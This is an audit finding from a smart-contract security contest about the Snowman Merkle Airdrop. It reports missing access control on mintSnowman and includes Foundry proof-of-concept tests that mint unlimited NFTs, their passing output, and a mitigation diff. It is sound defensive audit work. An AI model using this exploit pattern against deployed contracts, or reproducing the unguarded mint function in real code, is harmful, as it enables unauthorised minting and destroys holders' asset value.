Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Missing access control on `Snowman::mintSnowman` lets anyone mint unlimited Snowman NFTs, bypassing the airdrop entirely

Description

  • Snowman NFTs are meant to be obtainable in exactly one way: a recipient proves Merkle inclusion, provides an EIP-712 signature, and surrenders their Snow tokens to SnowmanAirdrop, which then calls Snowman::mintSnowman on their behalf. SnowmanAirdrop is the only address that should ever be able to mint.

  • Snowman::mintSnowman is declared external with no modifier and no caller check, so any address can call it directly and mint any number of NFTs to any recipient. The three gates in SnowmanAirdrop::claimSnowman — the Merkle proof, the signature, and the Snow transfer — become entirely optional.

// src/Snowman.sol:36-44
@> function mintSnowman(address receiver, uint256 amount) external {
// @> no onlyOwner, no onlyAirdrop, no require - anyone may call this
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Three artifacts in the codebase show the guard was intended and lost, rather than deliberately omitted:

// src/Snowman.sol:17,20,30
contract Snowman is ERC721, Ownable { // Ownable is inherited...
@> error SM__NotAllowed(); // @> declared, referenced ZERO times in the whole repo
...
constructor(string memory _SnowmanSvgUri) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
// ...an owner is set, yet `onlyOwner` appears nowhere in src/

Additionally, neither script/DeploySnowman.s.sol nor script/DeploySnowmanAirdrop.s.sol performs a transferOwnership or any role grant, so the airdrop never acquires privilege over the NFT contract — the plumbing for the restriction does not exist at all.

Risk

Likelihood:

  • Every direct call to Snowman::mintSnowman succeeds, because the function contains no caller check that could fail. The attacker needs only gas — no Snow balance, no Merkle inclusion, no signature, no approval.

  • The function is reachable from the block the contract is deployed in and stays reachable forever; there is no pause, no cap, no farming window, and no owner action that can close it.

Impact:

  • The airdrop's entire eligibility model is void. Merkle inclusion, Snow staking and signature authorisation are all bypassed by calling a different contract.

  • The airdrop asset is counterfeitable in unlimited quantity by any anonymous address at gas cost only, while legitimate claimants permanently surrender real Snow tokens for the same NFT. The collection's scarcity, and therefore its entire value, is destroyed.

  • The protocol invariant stated in the README — "Stakers of the Snow token receive this NFT" and "Recipients stake their Snow tokens and receive Snowman NFTS equal to their Snow balance in return" — no longer holds for any holder.

Proof of Concept

The attacker holds zero Snow and is not in the Merkle tree. The only cheatcode used is vm.prank on a plain EOA, which is exactly what a real mainnet transaction does. Save as test/PoCH01.t.sol and run forge test --match-test test_H01 -vv.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
import {Helper} from "../script/Helper.s.sol";
contract PoCH01 is Test {
Snow snow;
Snowman nft;
SnowmanAirdrop airdrop;
MockWETH weth;
Helper deployer;
address attacker = makeAddr("attacker");
function setUp() public {
deployer = new Helper();
(airdrop, snow, nft, weth) = deployer.run();
}
function test_H01_AnyoneMintsUnlimitedSnowman() public {
assertEq(snow.balanceOf(attacker), 0, "attacker holds no Snow");
assertEq(nft.balanceOf(attacker), 0);
vm.prank(attacker);
nft.mintSnowman(attacker, 100); // no proof, no signature, no Snow, no role
assertEq(nft.balanceOf(attacker), 100);
// and he can keep going forever
vm.prank(attacker);
nft.mintSnowman(attacker, 100);
assertEq(nft.balanceOf(attacker), 200);
assertEq(nft.getTokenCounter(), 200);
}
}

Result:

[PASS] test_H01_AnyoneMintsUnlimitedSnowman() (gas: 6705277)
Suite result: ok. 1 passed; 0 failed; 0 skipped

Recommended Mitigation

A plain onlyOwner is not sufficient and would break the legitimate path, because the airdrop is not the owner and never becomes one. A minter role bound to the airdrop must be introduced and wired at deployment.

+ address private s_airdrop;
+
+ modifier onlyAirdrop() {
+ if (msg.sender != s_airdrop) {
+ revert SM__NotAllowed();
+ }
+ _;
+ }
+
+ function setAirdrop(address _airdrop) external onlyOwner {
+ if (_airdrop == address(0)) revert SM__NotAllowed();
+ s_airdrop = _airdrop;
+ }
+
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

DeploySnowmanAirdrop.s.sol must then call nft.setAirdrop(address(airdrop)) after deploying the airdrop.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 15 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!